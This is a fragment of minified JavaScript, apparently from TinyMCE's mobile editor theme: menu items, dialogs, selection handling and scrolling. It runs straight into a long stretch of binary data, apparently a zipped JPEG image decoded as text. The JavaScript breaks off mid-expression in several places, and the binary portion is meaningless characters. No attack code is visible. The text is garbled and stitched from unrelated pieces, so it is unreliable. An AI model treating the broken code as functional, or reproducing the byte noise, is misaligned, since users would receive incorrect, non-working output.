    '),components:[f.asSpec(),l.asSpec()],behaviours:or([jc.config({mode:"special",focusIn:function(n){var e=f.get(n);jc.focusIn(e)}}),el("serializer-wrapper-events",[Eo(Vn(),function(n,e){var t=e.event;s.state.dialogSwipeState.set({xValue:t.raw.touches[0].clientX,points:[]})}),Eo(Bn(),function(n,e){var t=e.event;s.state.dialogSwipeState.on(function(n){e.event.prevent(),s.state.dialogSwipeState.set(function(n,e){if(e===n.xValue)return n;var t=0'),action:function(n){X(n,a,{direction:e})},buttonBehaviours:or([md.config({disableClass:ci("toolbar-navigation-disabled"),disabled:function(){return!t}})])})}function u(n,r){var i=Jr(n.element,"."+ci("serialised-dialog-screen"));hi(n.element,"."+ci("serialised-dialog-chain")).each(function(o){0<=s.state.currentScreen.get()+r&&s.state.currentScreen.get()+r "):r[0].name;return yo(u,{handler:t,purpose:o})})});return e={},t=[],o=[],M(a,function(n){n.fold(function(n){t.push(n)},function(n){o.push(n)})}),0<(u={errors:t,values:o}).errors.length?ht.error(V(u.errors)):(i=e,0===(r=u.values).length?ht.value(i):ht.value(co(i,ao.apply(void 0,r))))},Sd="alloy.base.behaviour",Od=lo([ho("dom","dom",Ot(),lo([Lt("tag"),Yt("styles",{}),Yt("classes",[]),Yt("attributes",{}),Ut("value"),Ut("innerHtml")])),Lt("components"),Lt("uid"),Yt("events",{}),Yt("apis",{}),ho("eventOrder","eventOrder",((Kl={})[Zn()]=["disabling",Sd,"toggling","typeaheadevents"],Kl[Yn()]=[Sd,"focusing","keying"],Kl[oe()]=[Sd,"disabling","toggling","representing"],Kl[$n()]=[Sd,"representing","streaming","invalidating"],Kl[ie()]=[Sd,"representing","item-events","tooltipping"],Kl[Nn()]=["focusing",Sd,"item-type-events"],Kl[Vn()]=["focusing",Sd,"item-type-events"],Kl[zn()]=["item-type-events","tooltipping"],Kl[Qn()]=["receiving","reflecting","tooltipping"],Et(w(Kl))),mo()),Ut("domModification")]),kd=qs,Td=function(u){return _e(u,Ls).getOrThunk(function(){var n,e,t,o,r,i=dt(u,"uid")?u:y({uid:kd("")},u);return n=yd(i),e=n.events,t=c(n,["events"]),o=Z(_e(t,"components").getOr([]),Td),r=y(y({},t),{events:y(y({},bd),e),components:o}),ht.value(xl(r)).getOrDie()})},Cd=ha,Ed="alloy.item-hover",Dd="alloy.item-focus",Md=w(Ed),_d=w(Dd),Rd=[Lt("data"),Lt("components"),Lt("dom"),Yt("hasSubmenu",!1),Ut("toggling"),Lc("itemBehaviours",[ii,fi,jc,hf]),Yt("ignoreFocus",!1),Yt("domModification",{}),Dr("builder",function(n){return{dom:n.dom,domModification:y(y({},n.domModification),{attributes:y(y(y({role:n.toggling.isSome()?"menuitemcheckbox":"menuitem"},n.domModification.attributes),{"aria-haspopup":n.hasSubmenu}),n.hasSubmenu?{"aria-expanded":!1}:{})}),behaviours:$c(n.itemBehaviours,[n.toggling.fold(ii.revoke,function(n){return ii.config(y({aria:{mode:"checked"}},n))}),fi.config({ignore:n.ignoreFocus,stopMousedown:n.ignoreFocus,onFocus:function(n){Ol(n)}}),jc.config({mode:"execution"}),hf.config({store:{mode:"memory",initialValue:n.data}}),el("item-type-events",u(u([],Pr(),!0),[Eo(zn(),Sl),Eo(ne(),fi.focus)],!1))]),components:n.components,eventOrder:n.eventOrder}}),Yt("eventOrder",{})],Fd=[Lt("dom"),Lt("components"),Dr("builder",function(n){return{dom:n.dom,components:n.components,events:qo([Eo(ne(),function(n,e){e.stop()})])}})],Id=w("item-widget"),Vd=w([sa({name:"widget",overrides:function(e){return{behaviours:or([hf.config({store:{mode:"manual",getValue:function(n){return e.data},setValue:Y}})])}}})]),Bd=jt("type",{widget:[Lt("uid"),Lt("data"),Lt("components"),Lt("dom"),Yt("autofocus",!1),Yt("ignoreFocus",!1),Lc("widgetBehaviours",[hf,fi,jc]),Yt("domModification",{}),pa(Vd()),Dr("builder",function(t){function o(n){return ma(n,t,"widget").map(function(n){return jc.focusIn(n),n})}function n(n,e){return eu(e.event.target)||t.autofocus&&e.setSource(n.element),mn.none()}var e=la(Id(),t,Vd()),r=da(Id(),t,e.internals());return{dom:t.dom,components:r,domModification:t.domModification,events:qo([Qo(function(n,e){o(n).each(function(n){e.stop()})}),Eo(zn(),Sl),Eo(ne(),function(n,e){t.autofocus?o(n):fi.focus(n)})]),behaviours:$c(t.widgetBehaviours,[hf.config({store:{mode:"memory",initialValue:t.data}}),fi.config({ignore:t.ignoreFocus,onFocus:function(n){Ol(n)}}),jc.config({mode:"special",focusIn:t.autofocus?function(n){o(n)}:ur(),onLeft:n,onRight:n,onEscape:function(n,e){return fi.isFocused(n)||t.autofocus?(t.autofocus&&e.setSource(n.element),mn.none()):(fi.focus(n),mn.some(!0))}})])}})],item:Rd,separator:Fd}),Ad=w([Ps({factory:{sketch:function(n){var e=zt("menu.spec item",Bd,n);return e.builder(e)}},name:"items",unit:"item",defaults:function(n,e){return dt(e,"uid")?e:y(y({},e),{uid:qs("item")})},overrides:function(n,e){return{type:e.type,ignoreFocus:n.fakeFocus,domModification:{classes:[n.markers.item]}}}})]),Nd=w([Lt("value"),Lt("items"),Lt("dom"),Lt("components"),Yt("eventOrder",{}),ju("menuBehaviours",[Qi,hf,ed,jc]),Kt("movement",{mode:"menu",moveOnTab:!0},jt("mode",{grid:[ei(),Dr("config",function(n,e){return{mode:"flatgrid",selector:"."+n.markers.item,initSize:{numColumns:e.initSize.numColumns,numRows:e.initSize.numRows},focusManager:n.focusManager}})],matrix:[Dr("config",function(n,e){return{mode:"matrix",selectors:{row:e.rowSelector,cell:"."+n.markers.item},focusManager:n.focusManager}}),Lt("rowSelector")],menu:[Yt("moveOnTab",!0),Dr("config",function(n,e){return{mode:"menu",selector:"."+n.markers.item,moveOnTab:e.moveOnTab,focusManager:n.focusManager}})]})),$t("markers",ni()),Yt("fakeFocus",!1),Yt("focusManager",Ii()),kr("onHighlight")]),Hd=w("alloy.menu-focus"),Pd=Sa({name:"Menu",configFields:Nd(),partFields:Ad(),factory:function(n,e,t,o){return{uid:n.uid,dom:n.dom,markers:n.markers,behaviours:Lu(n.menuBehaviours,[Qi.config({highlightClass:n.markers.selectedItem,itemClass:n.markers.item,onHighlight:n.onHighlight}),hf.config({store:{mode:"memory",initialValue:n.value}}),ed.config({find:mn.some}),jc.config(n.movement.config(n,n.movement))]),events:qo([Eo(_d(),function(e,t){var n=t.event;e.getSystem().getByDom(n.target).each(function(n){Qi.highlight(e,n),t.stop(),X(e,Hd(),{menu:e,item:n})})}),Eo(Md(),function(n,e){var t=e.event.item;Qi.highlight(n,t)})]),components:e,eventOrder:n.eventOrder,domModification:{attributes:{role:"menu"}}}}}),zd=function(n,e){return n.components()},jd=Ao({fields:[],name:"replacing",apis:Object.freeze({__proto__:null,append:function(n,e,t,o){kl(n,0,Qe,o)},prepend:function(n,e,t,o){kl(n,0,ye,o)},remove:Tl,replaceAt:Cl,replaceBy:function(e,n,t,o,r){return I(zd(e),o).bind(function(n){return Cl(e,0,0,n,r)})},set:function(i,n,e,u){var t,o,r,c;t=function(){var e,n,t,o,r=Z(u,i.getSystem().build);n=r,o=(e=i).components(),M((t=e).components(),function(n){return Ze(n.element)}),we(t.element),t.syncComponents(),M(H(o,n),function(n){ut(n),e.getSystem().removeFromWorld(n)}),M(n,function(n){n.getSystem().isConnected()?Te(e,n):(e.getSystem().addToWorld(n),Te(e,n),rt(e.element)&&ct(n)),e.syncComponents()})},o=i.element,r=tt(o),c=zo(r).bind(function(e){function n(n){return un(e,n)}var r,i;return n(o)?mn.some(o):(r=n,(i=function(n){for(var e=0;e");o[t[0]]=yo(t[1],n),o[t[1]]=yo(t[0],n)}),o},createBistate:function(n,e,t){return xo([{key:n,value:yo(e,t)},{key:e,value:yo(n,t)}])},createTristate:function(n,e,t,o){return xo([{key:n,value:xo([{key:e,value:o},{key:t,value:o}])},{key:e,value:xo([{key:n,value:o},{key:t,value:o}])},{key:t,value:xo([{key:n,value:o},{key:e,value:o}])}])}}}),Qd=ci("scrollable"),Zd=Qd,nm=function(n,e,t,o,r){return{data:{value:n,text:e},type:"item",dom:{tag:"div",classes:r?[ci("styles-item-is-menu")]:[]},toggling:{toggleOnExecute:!1,toggleClass:ci("format-matches"),selected:t},itemBehaviours:or(r?[]:[Ar(n,function(n,e){(e?ii.on:ii.off)(n)})]),components:[{dom:{tag:"div",attributes:{style:o},innerHtml:e}}]}},em=function(n,e,t,o){return{value:n,dom:{tag:"div"},components:[Qs.sketch({dom:{tag:"div",classes:[ci("styles-collapser")]},components:o?[{dom:{tag:"span",classes:[ci("styles-collapse-icon")]}},wl(n)]:[wl(n)],action:function(n){var e;o&&(e=t().get(n),Wd.collapseMenu(e))}}),{dom:{tag:"div",classes:[ci("styles-menu-items-container")]},components:[Pd.parts.items({})],behaviours:or([el("adhoc-scrollable-menu",[Yo(function(n,e){$r(n.element,"overflow-y","auto"),$r(n.element,"-webkit-overflow-scrolling","touch"),_l(n.element)}),Ko(function(n){Xr(n.element,"overflow-y"),Xr(n.element,"-webkit-overflow-scrolling"),Rl(n.element)})])])}],items:e,menuBehaviours:or([Jd.config({initialState:"after",routes:Jd.createTristate("before","current","after",{transition:{property:"transform",transitionClass:"transitioning"}})})])}},tm=function(n){return _(n,function(n,e){var t=Il(e);return{menus:co(n.menus,t.menus),items:[t.item].concat(n.items),expansions:co(n.expansions,t.expansions)}},{menus:{},expansions:{},items:[]})},om=function(n){return B(n,function(n){return(D(n)?om:Bl)(n)})},rm=function(n,e,t,o){n.dom.removeEventListener(e,t,o)},im=x,um=tinymce.util.Tools.resolve("tinymce.util.Delay"),cm=Jt([{ltr:["start","soffset","finish","foffset"]},{rtl:["start","soffset","finish","foffset"]}]);function am(n,e){var t=le(n);return"input"===t?mg.after(n):T(["br","img"],t)?0===e?mg.before(n):mg.after(n):mg.on(n,e)}function sm(n){return mn.from(n.getSelection())}function fm(n,e,t,o,r){var i=Gl(n,e,t,o,r);sm(n).each(function(n){n.removeAllRanges(),n.addRange(i)})}function lm(n,e,t,o,r){var i,u,c,a,s,f=(i=o,u=r,c=am(e,t),a=am(i,u),pg.relative(c,a));Xl(s=n,f).match({ltr:function(n,e,t,o){fm(s,n,e,t,o)},rtl:function(r,i,u,c){sm(s).each(function(n){if(n.setBaseAndExtent)n.setBaseAndExtent(r.dom,i,u.dom,c);else if(n.extend)try{t=u,o=c,(e=n).collapse(r.dom,i),e.extend(t.dom,o)}catch(n){fm(s,u,c,r,i)}else fm(s,u,c,r,i);var e,t,o})}})}function dm(n){if(0r.innerHeight||n.bottom>r.innerHeight?Math.min(t,n.bottom-r.innerHeight+50):0;0!==e&&r.scrollTo(r.pageXOffset,r.pageYOffset+e)})}),Rm(i,o.innerHeight)});return Rm(i,o.innerHeight),{toEditing:function(){!function(n){n.focus();var e=fe.fromDom(n.document.body);(zo().exists(function(n){return T(["input","textarea"],le(n))})?function(n){um.setTimeout(function(){n()},0)}:p)(function(){zo().each(Po),Ho(e)})}(r)},destroy:function(){n.unbind()}}}function Vm(t,o){function r(){s(i)||(clearTimeout(i),i=null)}var i=null;return{cancel:r,throttle:function(){for(var n=[],e=0;e

    ScfAΕq.&8omhx躚G7NPGn7 |2nz dp"izd `O'xttb֋Ro1НLa6^S2bfCU 2m zY77/_͚,V;sNMg[ c$OpoJeCR,@$ZRbb[kM]/fBnw) h CU$-KsC*qg+Ԯ Yu.epe_-ET`[:9d^@Z۸*v/o*^s2 C$#]˻Y\3XL0D¢G MQu-sC" p[[eSҡ⵾>.W~ylc4Ds&(y;h˃0 +T2Qr&iO i{Bb[;2sZ# 痡o(Hنwiv[OޔEV  xcu %7LrtZ'% ̋JJcf=,Q@ޠV\/FSj&HoKxpeQZǦ1qQ.x7M-̻1%~"oS .g8t-_½>jE§h8%}hc $80hk^,db-EaG<Օq'O{.e@thC-&c*L chTKlFtfL&XfV-t9/lGc>%K[WP49&X<#ow1V=̯AgZ`V:.2<xoxNx8f0I˨#,ĩ`D yWSzĸ2wl\j5?7r'Ls q.QSMPkב0"P^%7$f*qx\s3aܨ#̸e]˹s\V%ri` X-RĶO(a8QdVPN fO?GEz#ܻO0(7f5,ubfC4ҪXq3d![9rtx);( oP7 LKPgum"8⡶#w/LwLC*7T^뱆/+CO#?TZ^F:'*@@"\HhxYWG+MvԼBw.m %Q_f 1X Cf-ڎ\jC|s&9_a.IP7P7K]/S<6Iu GCGvS)!߁DMIRTK-q +Y)M #`pŏOCQ,߶@F?ȁ2}F oy}ql.85c;x+Մr ч>dOIoZ>8,. \Eǐ̋@W˝J6K&8۸Z|Sn$J[*72 ,O]>toMty ZM ZWRAOq CA@1f8A7J | %WB~K\eCyQ,\\x}=zq,ZP9rS$"A/Q% A2n `\_Pe^DǏEj76\RasSA!\.-󴪄)1 =2Їɕ== P,û}Fq=vs.ZH߰%>D6  XaTbXTŻ`mxd.Ѳ~&Vڙ#AƯ{(ues~,hf?"_lUs76 _tiç{6?" gENeF#؄40 ]]1pȂ&ax@X ykw,0l6N6~]';k//L#p,qNځ.wL=LMn0b1cKa bNX;Ø> 1ᆽb紹G 7#*T Mf4*!X}w׸ VWyV>O]\H)ߝeAx.0|E%5|&LKBu0={9Mɕcn4Dl0ɇO3}]*.k u9-KTo|5e˨:\]^#p|\.^-5!\@\x_aZ?>*:p,U671K<~"Ko*Lj>tP\t>8P-cዪj>PGO凒DP:އynK_] n[mTT353 =ŨphK!~i.-5<.\81*C ;GKPo[rJRhG;Hv8~):Bţ«M sބ<)$ Y3)ٔv)ĕ;gc;_4T 0Sh.emAA*:a58.z&[i5 }Cjx,4 y/ѩd \Z hӻ+g~S?͜6qd2W9|uo-^nkTjra;ra@-0Vn?4 ՖqsGx3/kWsHm,gpA!oBs SGĄ%k3ދWCA ȴ\y9, o@T1n \JZ\z:șæT:xf m*᭬PN#Uf-:d^. paШ1ҢN^Kу<b !l7!ʅB\XCI\E8Q_зSc Jȼb{?upJtQ9zh-ƸmE6Pܜjxm5mcA2]]KPqzp|C\KCEϙjh*CB ;Ll(oɩ;DtKP0`M0 D?AmiMq W;rSs1?*_V_qgA1m 0{Vogilҥhkb*wcX[ItsFwv.C컞"hyyĭ>|':eʅ~Iᒄ4"@]kӶZ UX3/4^ rr1}LK&Fv >vہm̝nB 5.,#*%~d *?Ԩ~fT2}NyƦq}hÃb܇KefJ qmxd_LH\Y.BdhE/GNeCBk^Qb<$5N㰷x>AZ@lYsh& FbKDhT[r+RivN֗g-2a8sXٰ"\*w6w#p#^^tMHQ ԗ+86Y諾eq}K?8>jj|YJæoQ|Z[ʉJ/:}B1cé7LqRXt< M0:?]CTwYNYj:2`7-1>:n6-̭8 TTX4LC!CrTZ;oṠT@&G{K\NҼB^,v<P\0ye1rmYzTȈZ-a*#$ ʹL҆WgKL\W1˺IDZur:`ޙ^ޮWPq%&18"E+oF̥^ Sbs:e,t>Ym|FЁQ5=J"с!yۗ1MR5˗ U/G ~C`ީqEʨ NR6`Qo]|"VD[m7.Yǧ'S|.^w.\1v22cԺH>\DA kZ%M!Q+Bdtq岴qiʉO^': Ng Qn\# !*u\ >'>?*_cu ֧& h]hJ"SsCU97]E?HM˙?o'0d..4?9sӥ=JxGlac^4 dPj,XB /Ƶ4 ["S)57$0M/Lڋpq:BgKĹ~GTKR]\7'0(#W1ʡ0h( (츼,k.-1Z-grsx8*a+ރp\nZb^ux(./A%\J"ʼnr[wis1j.L/WY9s W^*W>#9QrM"$H.R[< R{F<qF/_-g3.g魒pB>*0dL4̓bvr8肃4ka&@Vzb&^k4M0ْpx{ArC`ȓ00A. f 6f~4#GΐYAzs7"̂ aaa2G032bNtM(KTYFsD=hfIOF[`oi=*nT|tS[PKZ(]XXimages/light-box/sl3.jpgnu[JFIFC    ""C  , rrZg|}v{tGvpsa|pN 0Ɨ] XiAԹr\șYTs.x`c}mHlfnLUȈj+ ֚{*x;gЂ޵3jK]m`/1KZWV4llʹli[L,B1]ts uIMm, mN`$}oMwXפ ii |y1庌Э2Be[g=%kC{7ґ.<;%}mD\ aWYD57Fo=hr֫gBmb)<R\%ӈGͤg0+/f!UeV,)R$r֟ʎy&5ɄS|zX\̐J΅uoH?}?b6f$vL`$b(Ru.}&JO*-qԔB_Y1-^m7k4٥sZlm*|5sPXȷGEaL!ɭM!cJAʾxֈ2K.t]Y ߖ{+ߤ)(mK}9/a'˘9k K;hO&4"! 8iKsxc,{I<4^uzbɏ3t;$9vE]j`xavv9TT<.ˋuwwv$TBցN4y0I*4 dWc%՘EPyk:IRC-<ҁ?4 #8kf]lҎ \V:*䢒Ei@>Ľ%z1Ip:TXHA`= 2+dq4k>⠃IN<gJ@C,:9.!&,KqRѬTX1絰>{'*y2p1&n4h-hR)j?Yq>yu0("9X{y:=xGQ!$KPO-X ViRfVq ,Fdy =8 ,,떩4}_O4ax$;vIckx +7ӫZK>)mP?E,]D{ֳ.Bw2)$W8rq {rsdwÁKKn_غҘq;itBυ'wdU`ٕ4䥆.SP5URM)ShSSv>xg]{2qEM#V~K~Y Y:꫼$O9yԦF^$ ʂ1x%|WXeOW`rt0I`vZ Y8p 2SFW+^5i)λ~3낂YX|r^ ScVg2SY.wRؤaO4_Z|6Eɜ>cx OĖD2Dd 9;T]-DW1]7iƨ4pۖ*^{Ҿ2.G/`3wUn".b\ǫq3ZujGΌJƑ󀈬lFB^m& \M[c]m˜E8ccW3!"1#2A3$BaQq %CDS ё%޶@\*2O_ɱX V?{@̠F&Jk 'Y"==҉RcsszU.%#Taj23 .bĄv] &~& P՞?k>B{@K;I< >cJ5ϳaRD 8 2zxgR@OK sd nQlZq-$2 znB>i|0}4D҉VC8~DDR稫lš5Ƴ2fc]m%x3X=&bzYDަFn1P@[?G=}?'?R5`ǎ5Ve%VX~ݻS= pF|}Oh:Чba۠ Uf$[c*Y&q.#瘜)iCqf)G$ {y䥂DJ{ wu""ȊHN96 }Or™1 52$VK;ˊ˾a!z8>fezk`b,^Ȋ 6UV[$]rPZK$d@(2+>ΕІs:LqtBeV,)d̜̗rXႶ ]s;SbaUf9 O'lV"`Ș#笞(+[}R:)ᚺtc==t7qBMf$QE#( ZKL/b,eb( sA+9Qf+'bz#J, -m+I)Ne_}[r4W~bڞ֪V &cd=:Of.3欲Pgs C?ML׮Mc_j \vԍEo#T$D^]0.ԥ8&jسzzr>ECb s[w,z)i tȋ恿mcl;ÔӤ/fҊpvaĵqX bm{N)tnS%zXu5,d1>ʔf(X) Wx:.%>² 0;g>DzNV+@.F |Bi`3D >/u\P u6l'0np{_؂H뜜糓1+JKh@vrΆ>l5{.4!$BnLŽ[-b"ṣ/M߱^T!R  H?` J'V[YJrH5"jMb!a"s$  IGXAFaEn݉Q;U:$>Id8nӥB[k QE$S?w $>ye>SܙT,<},Ij?oQ Gml,즾%V3<]՚q^8c;%2Uj=0E$CXDQXOTN*_gr5Bi=鷌$3mTA1ùx"9Z]SYƄKuMkg0S13 45M{h1_@`QSܹio ! V lC &JyܚGJJgFIVJ~ԳH(Ĩ`āwb[9SZć|QWQl@=/Vf1Ts1@^4Ek! Veiaβo[a//|!`m08mmEˍޮecVwWH)d٤LU"0hO*VF). ucg D"E"COɮwL8 V>""xQLs'W"S&)#i' {I1 ximV$f/=}Hz3 JN,w=GsםO>/|^t:=Z${fd Rt2ymz^P30B̙xeC=Ղ6^jp2I=ֲN1,7d^̯2|fU`Og]kDEֶtL+cTrRάRӓ㘉 |8a~qPȋ\~EpA*QPP,nc\eRL I27ir,BDL~L^3^Fҡ;8[W*55]w3d3۰od&a]碧$_\.ƙ%=6@LL&Ԁ-<b㬐, ˅m"Cd[ŠsS| qv)`S`<> QX,M6d)a3;^'m|Q3|W ξ4 _S[x*L䩍r."fu"C ?D5f@XYΏ˺{VBk`h8R׭jSQ H̠'ޢQ>TD2̀bk] XJ9VV+Uel1Y~{νο8=Lq6g3x"E1ʞms)ޛ6iJB'^@2?+ 3E8z"lbs|uNղ% &,$| \cJ%aj1OQ:iBe!@rOQ[1]qRK $OE T5RH_P(pV ȃabk9Ԧ{jqZ/[:e(N%2Le8&T.4kZ9\Y-W5Mx_<uGU{UyY{+ F3D*Q`.tT2>&+v#FbDCŘh:z0Cok껁0YX bB\"NLp1$=)?UrsѲMRL!?X}r#uaXu7N ?~Llu,C4[-% 6MB S c(>F;Ora3uE2R).iޓٗIJk%ۘ&;]iwC ={a?<!1AQ"aq2BR #b3rCSc$4 ?B5v `IKtN@NȏŸ6f!x:A6< հp Sm'YBr ,׌AlGh8o%7ßOoX>]-i̭YAtv$i_J޳aF{kS#!+0[n(ETjneԪ1Z@x?T8H ܤ0^^|1%<6s8*ޱa9J;D:Qp;iGL,7 n~HXUi26EkZO Ҙ!Dx1&<.`R*nzVXhSEgXYawUz0aw\NoeB&mTtMЎ|G2%΅pd2 ilϮQt^eM?F_vL#T`#6:xa- ^cCZ&?pNѸ]4jU'q9F y& /g#d:Swu>ے ot nQLLuVӛ2ؗ ࡕL8GX=]X(S_k -pausolkX4.BYVY6GiqܔspܝZXB k\ 9RZ!D bT ]NȰ5"KID~?/W}"koca.vkZ'5-|Pn:xX #~kч3d/Qʛ:sa[UgX\H1 ׳Rap8St|jNI%2\_ˣ8ZLEHcmZ\?e*&l~\ʸLef9^&:%HV(ΐ""ʖg+9\Ng~Qb;5<=OkR{}5%VuWS%O&Z E o Eÿc[ o^ڧTxH 6!?XG]֠eS`{%U0G'/ &JcnIwUywV,:hnxr#tuwvS1XGtdbޑ1R@z%9k{%T*wvVT9sT\b7E8];ܻY6ݠO6^΅d< #碬X2XvKlJͰVw<=Iu<ӌ䪶ų{_fmվH].kaN5y;Q4O98\& KC0,g jb ^e^YS2sa̍&&{xPd-L.m hΖ0]Nǒdž'$LuN4O$ ӈHݾ5Yy,!8Z=ʇuSṪϢs DGz[=UR˸F j&צ}n3w~\Ӫ#)˴duF 3}9,Gɿԩ@FuqX=p#E^î%m z[,5GC٬ff)' "#}/Z9֪Aw'HT@c&_iwIpK١^ɎnER98Dak[\86rXnHko!?E ճa]Laa8Z@R}{\\gg4L;,2{$d,d wV#4ゝ,S BݺMrl:-&&QȨq&!ݼ6G.-G#-aےz{xIܓ&1,r{5 hT}a˒Gt.Z"c'gboSsolFDS}Ѱ;v:U8 vv+d?6@jsp*dn6.al&ԧ>S tTz/MwGM=-v͛G 1bDHN  ] 0yj(&ҹ67B7O"3ֶ;!⋄s%Jꎁj\VG o˷SꥪQg %5oT="ϞNB6/H܂cpN4Ue*OUJoaQ(y{MSTUov[/Y(ߟ%7~v{|=F.qjk=}_N1W~cmy4NȤ*%Iߪm:S6)k^ٶ 9 |35ÃU \HcE3]N浿oUvUO`ڬ\UBӄ8غ#(D;HQh '@I.i|'Po4ʅv.]|legϢڙo]Q#N$k'솈vJ{xPkOk%@&3a|2w]B?3 ly'9v4=*FO7 Ɖ2.--Z cfPjuA,N>J1os*oF_94rw9-#Q xR*2i5lGXW1#] gZ6}aK Ț/yy~6UkwIk;4X:Q3~kKeE줕~׌M7pa''^ 6N[P7k3f!,s WтMF|f9\]xy_&> y]d6Nk{JdO_y `[FY).گj4W&+S XqWaP&=\$~qh)c$SQh.Q ! q+*+Hr ѳk•ro]*_#Qڤf*7ыSEh*x8ы YNP7u<1uA!Tc?89=Wl!Vm/mnPq͞>"W57jrU=yZpH8> U1(>Z [yq5a0H:x@~z ٺ,׼oah e9 !WxkSV_׬ǎn"bݏ%;RWV^3Ku^d((\8T[wí;V:+֧ ų)8&va C{^`VC՛g B@j`?`3MNJd^MwMkWJ[gL{5&V ֮x2ὲGqFz0ZYY8jnWa9iiEƗ-Yv;37|7^pwH4GGTȔ Bvq9/X)Ur\7O- CAOםQ|#.^!}̏&v'Wxl@۷jqme8%xfke90Vnnr,wxYCg󚙰7U-a!vYy~m*NnO1 hqqB>Kۄ6?\͜m%Ӽ䙑ˬX4D zdZqx}@gN[ {y2Py](IOuR>LY5`-@Wcc_c7M%gʯkWXTh2nej ̋T#>:A7cBT2J3GXQe%A';▧,4WtӚ[a猗t'IXr}.׼QsfAA+v\{.!kXꮠyۋ]j.rPJ5(N[p!gZc4 ߭q`̿ d)?'B`6)q mCi87 {\ZEQ'6x=0^/3pKU] FYyUUqvL<] =;8DL(F&?'8 ;HPg(rkN'8Zu "!o6yDv %ww&Sn'ӆ J"Q+wpنp:]Sp4>N!pۮq7]g 7_xCqsXP8ͮF{GtQ2Q׼R)Ù:<і׌6Y ]}^cyuZ|SVxsMb%pګwìX?krwӒUt10~YϣJ7%.j5h(|Gcև)FAҜ7n>ٺӍ;$1.fh*ф >fҪpho{o'4+hS񑵶 ^7Stx2m#Bgn-O+]jC\m׾)A(;w /&<K =k 7vt`kBW*v^ƅB ` mO4.&&( /38PLyCsr.AuJa7T}0Gzpİ=pvon%j,Ԯ8k.y݀enۿ+CfMį Y>G[PѪw.B xiXiQ}o^l#h;@S `Җrt!tգD ƱvJymrcvɔRT0ece_7C˜!'bjT2ZiYO&9aӽ>xc(HyK~mP&`WվxPxůN,xpZi9Pr*A8NO5yܦ]g\1NO1G rMGnj˘T.2FlVӘۻw[k_q7׌);:zYFXm 󚨨6*6L>FR;d!{齜9rzOQ"d2& kySiY :ir+pPW#7x44CZ}xU;\ vaI^*״y\Ѹ1%N($ubfsupP# eE%>{ކ60Ũ|sd΀8ZKRW zo *paR I6iԙeoo<W&F޵7FmI+*֦׆Pbdќk9{M.kDs Ѧrzj^cɇѺo*y1+{PT}bZS<|EBZc}ě T'_?G-ZO|sE<~( o0tLb~by75ƙ%}h`\?!}A"\k,SU_/҄J~1:(6NL) \3oTҜڵ%`,b؇.4Fɰ2ﵱ47N+VG< oc":΁1-Yp94_0FʳcڴOons4/Y0^]5_pFbE_+;p k-%rx!ȨB*0?=fsSsGaѕ̴BҺbxg\gd5t`ǐ,K+GI0RAc/]L bsmnq־,#Wul pk8yR'ϯ Cha:-<_)xE) fn:6^2wN܄2m"zht{\ͳ|ׯScOLz\3KG:7f68 p 4ӿ8nzHxZǡ0 MoYʬ{6y;Gpٵςy9^wԛG& õ\rG.H<%a@C/Fi-9]"z*p>sכ^wYv;\UOnF܄R7fob-}U7f& [vKqٞkK |6_Gy5|e;#0{mִ ~IT|641b5Thm)yb;< ȴn;D\vo-={LyV[fd@V.8${Ny//Py+^b(.)|J []ÄFƓ[@TGzyY8邞wvV7g yq']6*6J=k.t2d|RX)0;]uJcR߳jQ,{0U= zik=p`j4&01LO#k2#-|`B=yI=Oi/'7ė4 t_[89D1Y7a |bPDpݟ•Рc QD61 #:ثٕnjɊ~Z " Vz7 NAw5);sW7/]'&czB""A+rdz5mM} 5xd9q=& N,/[15T|&e<`{>Pˤ& H%)>Fo mp.UjʕMNWwxƮetE~#v]w_׀]K~oRST:_Xv Go5FM-R<~Q]yFb_g,M_f7uT: $i5.+Ҟ\FxbcZ`A#v73 N+T/).^V5O%WYV-(kSf)qGDo6C6Q8uɤ|sBUv8}Խ=\`D|Ä^zqF'+_TxhĠ)w2$nam ,OVѡ޻Ϛʲ Ňř%sVn|%AШ30za5|~$hb_ &gGS C7rЉ,*!:V }&d%ʒbso!axDV,rb!pLT$ֈ%,_ W[;S esb1lTrKa ,Z8$.kAG&)EXkF:R|Ÿ?E(RE( f\5ym(N^"bH7ҙ}(vBJ! g85|xK;׽fT>oȏ篦yY_RBd7TrNBs੘%B xM|b" 䒖dW5\luGW*Yv®gÃJ%s3cZ[`m')SeքPb]udg 0wqM,6Q,bYlWY1ElhPIH y0LY޸>(X Ō T %%|t}JI,t6jtSrb2t-rL"@cXl!C7鱊VI`a)9!bAkWC\*e֥U a eq.̄ˆ#}rin~WXKpkNAY(s,Ĥҿ gec:F'̀ů(" 2BR!0A#1abq?ׂE_y2 8yH\)~M\R~VCb"qXVƹ_l5|;m$k' VͅqĔma]E$+nEll)D kQV{+t JՅK %(ԥ, IKLYzMpI]F "“ž$c߱dY 5fsBj1KJ1'㷝 zZlc(#/P*慙M$(^7yp5w)8_O ~*xInjQ+L T/Q]G{ Pzqձ&Ķ Q\QE 2٥qܸ5 .WVW ,FiՍx/I+2J7 }PybJ6Wh [*˚l3 )$V=Q{MF)r4ؕҞ"ᗨIS %~9.$Z,Fcb0ٮJo?/n3abJ)Uǖ+4׏o ![*{RTRJ':KxYTB̊$I*]I_UW}V~Ԓ"qӅf%obUR˱P7I<\{ +)+ lғ{J+;Nr 5Yp°8Qr9j̨,6u,35IM Iu6f4*P"YqJ3(ԪgQcԚa0}8.}%aJp- kXaUw1BSjo6(QsTSi¯IIKyWs |_~ L\hr)}1|I\H4/?iq>7s$䜤Xhu9q=Xr(MPB3>IK-F/JXTuWrc,k7\(7K2pz{&q/b(ROhB+\SKG'w#q[rkE΋CCnRDw"MA]keC;?D) ' ,ThBxr+e\kJi)6E<5SmUl*KZJmI\KO*1,IZZN? Դr*7fF+-)[ VM V,H+cݍ#ZXU5ªj?L+QӉfSaİ\KHtZk=fl9VUbrێ9UjR[ ; ?ݸl/J,Voȭ,5OgE )9nEe?Dإ³ Y^F$Ԭx˰k*~{0^>ܫ.mf=|&/37t3vHܿW Ʀv/^xWV݊b:6* rȲ/^Fo!'f[$qM}R{JZIa)Okm,fIQF]ȦBuW%q,L_qR)O i5%VYFbcRMIagč+WX[Whn>Q}Ĝm Z8ܑ%fI(إ 7RXwP݅UQ/%8fhf)WlWq*+ww 7bpcc]ltSLR,2)-)8Qxإ5(|z5Ԝk蕡oe}6Z<6İq;NRaqK#.)wD=Jy%}|d)UUAJ*K_"]c JBޅwLiW* *Vj ?<5n8S}d~B*J| -WL/qh6ʻׯ=>Y@ wN|ů3iN.A7%+JԜQ.i&잲~=ya)8:2*s9R<8\KPIסsUۜ_tK]{l"Xjp 